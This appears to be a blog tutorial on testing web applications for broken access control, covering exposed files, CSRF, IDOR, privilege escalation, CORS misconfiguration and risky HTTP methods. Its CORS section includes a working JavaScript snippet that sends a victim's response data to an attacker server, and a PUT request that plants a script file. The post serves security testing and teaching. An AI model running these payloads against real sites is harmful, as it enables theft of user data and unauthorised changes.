Looking for Broken Access Control Vulnerabilities in websites
According to OWASP top 10, Broken access control is one of the most exploited vulnerabilities in the web applications resulting countless security risks and potential data breaches.
In this blog, I will explain on understanding Broken Access Control in the context of web application security and exploring the testing methodologies to mitigate it effectively.
Some of the common Broken Access Control Vulnerabilities includes but not limited to below list.
- Sensitive files or directory access to external parties
- Exposure of Sensitive Information
- Cross Site Request Forgery
- Authorization Vulnerabilities
- Cross Origin Resource Sharing (CORS) Misconfigurations
- HTTP Methods
Testing for sensitive files or directory access to external parties
To look for sensitive file and directory access in web applications you need to be familiar with the web pages in the target web application. There are several tools to automate directory brute forcing with a specified wordlist to look for directories on the target server. If the server not properly configured, you might even find the local directories and files which are on the web server.
Testing for Exposure of sensitive information
Sensitive Data Exposure refers to the availability of sensitive data in plain text for the end user. Exposure of sensitive information can be occurred in many ways such as.
- Inclusion of sensitive information in source code
- Exposure of sensitive information through sent data.
- Exposure of sensitive information in error messages
- Exposure of sensitive information in an include file.
Example:
login.php
<?php
include(‘database.conf’);
$db = connectToDB($dbName, $dbPassword);
$db.authenticateUser($username, $password);
?>as shown in the above login.php file, it includes the database file name in clear text. This information can be used to brute force directories to search for the file name in the web server.
database.conf
<?php
$dbName = ‘usersDB’;
$dbPassword = ‘skjdh#67nkjd3$3$’;
?>This may expose database login credentials to unauthorized entities.
Important
Developers usually mitigate this by moving the file up one level so it can’t be directly accessed from the web. For example, if your document root is
/var/www/mysite/publicthen you can move the file up one level at/var/www/mysite/database.conf. This allows the file to be still accessible via PHP but making it unreachable via the web. On some occasions the file is encrypted to maximize the security.
Testing for Cross Site Request Forgery
CSRF vulnerability exist if the server doesn’t validate the request is exactly sent from the server itself.
We can create a separate form and direct the form into the target server for changing the password. So, the server will accept the request and change the password even if it’s not sent by the user in the same page on the server.
Now we have a form that’s not stored on the website but using it we can go to that website and change the password.
CSRF involves social engineering to exploit.
Testing for Authorization
Authorization ensures that users access only the resources essential for their roles. For instance, system administrators have more extensive access, but certain actions are restricted to maintain system integrity. one way to test for authorization vulnerabilities in web application involves performing privileged functionalities as a non-privileged user. Further, some of the test cases to test for authorization vulnerabilities are listed below.
- Testing for Bypassing Authorization Schema
- Testing for Privilege Escalation
- Testing for Insecure Direct Object References
Testing for Bypassing Authorization Schema
This test focuses on validating the implementation of the authorization schema in web applications for different user roles and their access to specific functions and resources. For each role assumed during the assessment, and for every function executed post-authentication, the following verifications are necessary:
- Can unauthenticated users access the resource?
- Can the user access the web pages even after logout?
- Can the users with different roles access functions and resources intended for other users?
Additionally, the test involves attempting to access the application as an administrator to identify the administrative functions and perform tests. The identified administrator functions should be performed as non-admin users to see whether it denies the access.
Testing for Privilege Escalation
In this phase the tester should confirm that users cannot manipulate their privileges or roles within the application to potentially launch privilege escalation attacks. This verification is crucial for maintaining the application’s security and integrity.
For example: The following HTTP POST allows the user that belongs to usrgroup005 to access resource ‘InvoiceNo' =0504.
POST /user/viewinvoice.jsp HTTP/1.1
Host: www.example.com
…
groupID=usrgroup005&InvoiceNo=0504Verify if a user that does not belong to usrgroup005 can modify the value of the parameters groupID and InvoiceNo to gain access to that privileged data.
Testing for Insecure Direct Object References
Insecure Direct Object References (IDORs)allow attackers to bypass authorization and access resources directly in a web application by modifying the value of a parameter used to directly point to an object such as database records or files.
To test for IDORs, you need to find and identify the elements in a web application where user input is used to access a database row, a file, application pages.
For example: The value of a parameter is used directly to perform an operation in the system
http://example.com/changepassword?user=froskyAbove web request, the value of the user parameter is used to tell the application for which user it should change the password.
If the attacker modifies the user parameter to another user and sends the request to the webserver, the attacker should be able to change the password of the entered user in the web application if the IDOR vulnerability exist.
Although the term is different, IDOR testing can be done like testing bypassing authorization schema and privilege escalation.
Cross-Origin Resource Sharing (CORS) Misconfigurations
CORS, short for Cross-Origin Resource Sharing, serves as a security mechanism designed to carefully ease the Same-Origin Policy (SOP) constraints. It facilitates controlled access to resources from diverse domains. CORS operates by configuring the web application to define which other domains are permitted to request information from them. This is accomplished by adding certain HTTP headers in the server’s response.
Basically, a tester can verify the presence of the ‘Access-Control-Allow-Origin: *’ attribute within the HTTP response messages by sending the request by setting the origin header in the request to an arbitrary domain to ensure that cross-origin access is allowed. The level of risk for this misconfiguration is high if the parameter Access-Control-Allow-Credentials header is also included as true in the response body which allows for credentials to be passed in the request.
The response header Access-Control-Allow-Credentials: true determines whether the domain allows for passing credentials — such as cookies or authorization headers in the cross-origin requests.
The header value is determined as either True or False. If the header is set as “true,” the domain allows the transmission of the credentials, and if the header is set as “false”, or the header is not included the response then it doesn’t allow the credentials to be transmitted.
Example:
Get /accountdetails HTTP/1.1
Host: example.com
Origin: Https://malicioussite.comfor the above request the server sends the following response;
HTTP/1.1 200 OK
[...]
Access-Control-Allow-Origin: *
Content-Length: 4
Content-Type: application/xml
[Response Body]If the response body of the above response contains sensitive data such as user credentials, an attacker can steal it through the usage of XHR: The exploitation requires the attacker to host the JS script on an external server to be accessible to the user. Then create an HTML page, embed the JS script below, and send it to the user.
<html>
<head></head>
<body>
<script>
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
var xhr2 = new XMLHttpRequest();
// attacker.server: attacker listener to steal response
xhr2.open("POST", "http://malicious.server", true);
xhr2.send(xhr.responseText);
}
};
// victim.site: vulnerable server with `Access-Control-Allow-Origin: *` header
xhr.open("GET", "http://victim.site", true);
xhr.send();
</script>
</body>
</html>When the user visits your hosted page, a CORS request will be automatically submitted to fetch information about the user from the specified location in the script. A broad understanding of the application structure and where the sensitive information is being stored are essential for this step.
Refer: Cross-Origin Resource Sharing (CORS) Testing Guide | by Nairuz Abulhul | R3d Buck3T | Medium
HTTP Methods
There are number of methods that are available to perform actions on the web server to retrieve information. While GET and POST methods commonly used as primary methods for accessing information from web servers, there are various other methods available that may also be supported and can sometimes be exploited by attackers.
To identify which HTTP methods are supported by the web server, make an OPTIONS request to the server:
Important
developers usually disable the method
OPTIONSto mitigate attack surface. In this case the below step doesn’t reveal available methods and you may manually test with the common methods such asTRACE,CONNECT,PUTandDELETE.
Example:
OPTIONS / HTTP/1.1
Host: example.orgThe server should then respond with a list of supported methods:
HTTP/1.1 200 OK
Allow: OPTIONS, GET, HEAD, POSTSome legacy web servers allowed the use of the PUT method to create files on the server. For example, if the server is configured to allow this, the request below would create a file on the server called test.html with the contents <script>alert(1)</script>.
Example:
PUT /test.html HTTP/1.1
Host: example.org
Content-Length: 25
<script>alert(1)</script>If you like this article, please leave me a clap or two, and don’t forget to follow me as well.
find me on YouTube;
